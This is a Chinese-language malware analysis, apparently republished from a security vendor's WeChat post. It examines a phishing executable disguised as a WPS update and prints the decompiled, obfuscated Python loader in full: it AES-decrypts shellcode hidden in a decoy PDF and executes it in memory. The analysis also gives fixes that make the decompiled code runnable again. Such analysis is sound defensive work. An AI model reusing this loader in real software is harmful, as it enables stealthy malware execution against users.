wpsupdate钓鱼分析
威胁类型:
后门
简单描述:
近日,深盾实验室在运营工作中发现攻击者通过伪装WPS更新执行钓鱼攻击的行为。
解包
使用pyinstxtractor对exe进行解包,入口程序为main.py
# File: main.pyc (Python 3.9)
import ctypes
import os
import sys
import time
import en
BSIZE = en.po090o09o9o89iu9oi09ioi09ow.block_size
KSIZE = 32
abc = 'difh63jsabdj&#k'
def PadTest(bytes):
if len(bytes) % BSIZE != 0:
bytes += ' '.encode()
continue
return bytes
def Pad(abc):
if len(abc) > KSIZE:
return abc[:KSIZE]
if None(abc) % KSIZE != 0:
abc += ' '.encode()
continue
return abc
def ddd(key, encryptData):
myCipher = en.po090o09o9o89iu9oi09ioi09ow.new(key, en.po090o09o9o89iu9oi09ioi09ow.MODE_ECB)
bytes = myCipher.decrypt(encryptData)
return bytes
sys.path.append(os.getcwd)
po090op9989080o909o90o09o9i9oi99o9 = 265728
time.sleep(2)
filename = '关于更新WPS的通知.pdf'
filename = filename.encode('utf-8')
if os.path.exists(filename):
o000op8980o890op90800o909 = en.o090o09pi98io9i09i9ioi(filename, 'rb')
o0ooo0o0o0oo0o0op0o0o0opo0o89 = o000op8980o890op90800o909.read()[-po090op9989080o909o90o09o9i9oi99o9:]
abc = Pad(abc.encode())
o0ooo0o0o0oo0o0op0o0o0opo0o89 = PadTest(o0ooo0o0o0oo0o0op0o0o0opo0o89)
o0ooo0o0o0oo0o0op0o0o0opo0o89 = ddd(abc, o0ooo0o0o0oo0o0op0o0o0opo0o89)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(o0ooo0o0o0oo0o0op0o0o0opo0o89), 4096, 64)
en.ok09i09i9io(en.fja8g9u9guare8g0argua0rgu(rwxpage), ctypes.create_string_buffer(o0ooo0o0o0oo0o0op0o0o0opo0o89), len(o0ooo0o0o0oo0o0op0o0o0opo0o89))
handle = en.sg1r5g1rgb1seth4ckbu77er5he4zt51hs5(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
# Source Generated with Decompyle++
# File: en.pyc (Python 3.9)
import ctypes
from Cryptodome.Cipher import AES
po090o09o9o89iu9oi09ioi09ow = AES
oo90o890i0oi9io9i0oi9k09ii = ctypes
o090o09pi98io9i09i9ioi = open
ok09i09i9io = ctypes.windll.kernel32.RtlMoveMemory
o0oo00o0o0i09i09i = ctypes.c_uint64
sg1r5g1rgb1seth4ckbu77er5he4zt51hs5 = ctypes.windll.kernel32.CreateThread
i90i09i09i0i9 = ctypes.windll
i9u89u98u98u0u09u0u990 = i90i09i09i0i9.kernel32.RtlMoveMemory
fja8g9u9guare8g0argua0rgu = ctypes.c_uint64
在反编译得到源码之后并不能直接运行,因为反编译的时候部分代码被损坏,所以需要对比opcode进行手动修复,需要修复的一共有三处:
PadTest函数中if判断需要替换成while:
while len(bytes) % BSIZE != 0:
bytes += ' '.encode()
continue
return bytes
if len(abc) > KSIZE:
return abc[:KSIZE]
while len(abc) % KSIZE != 0:
abc += ' '.encode()
continue
return abc
通过理解源码可以发现,shellcode存在pdf的后265728个字节中,取出这部分内容之后判断长度是否满足32的整数倍,如果不满足则使用空格填充,解密的key做同样处理,之后使用AES对取出来的内容进行解密得到最终的shellcode,之后调用VirtualAlloc分配内存,RtlMoveMemory写入内存,CreateThread创建线程,并将线程执行位置指向shellcode起始位置,最后通过WaitForSingleObject执行线程。
在分析时可以将shellcode写入到文件中单独分析:在调用VirtualAlloc之前将shellcode写入到文件中,随后将文件放到x64dbg中进行动态调试。
2、通过即时通讯软件发送的文件需要确认无毒之后再打开。
3、安装杀软并保持更新。
原文始发于微信公众号(深信服千里目安全技术中心):【恶意文件】wpsupdate钓鱼分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论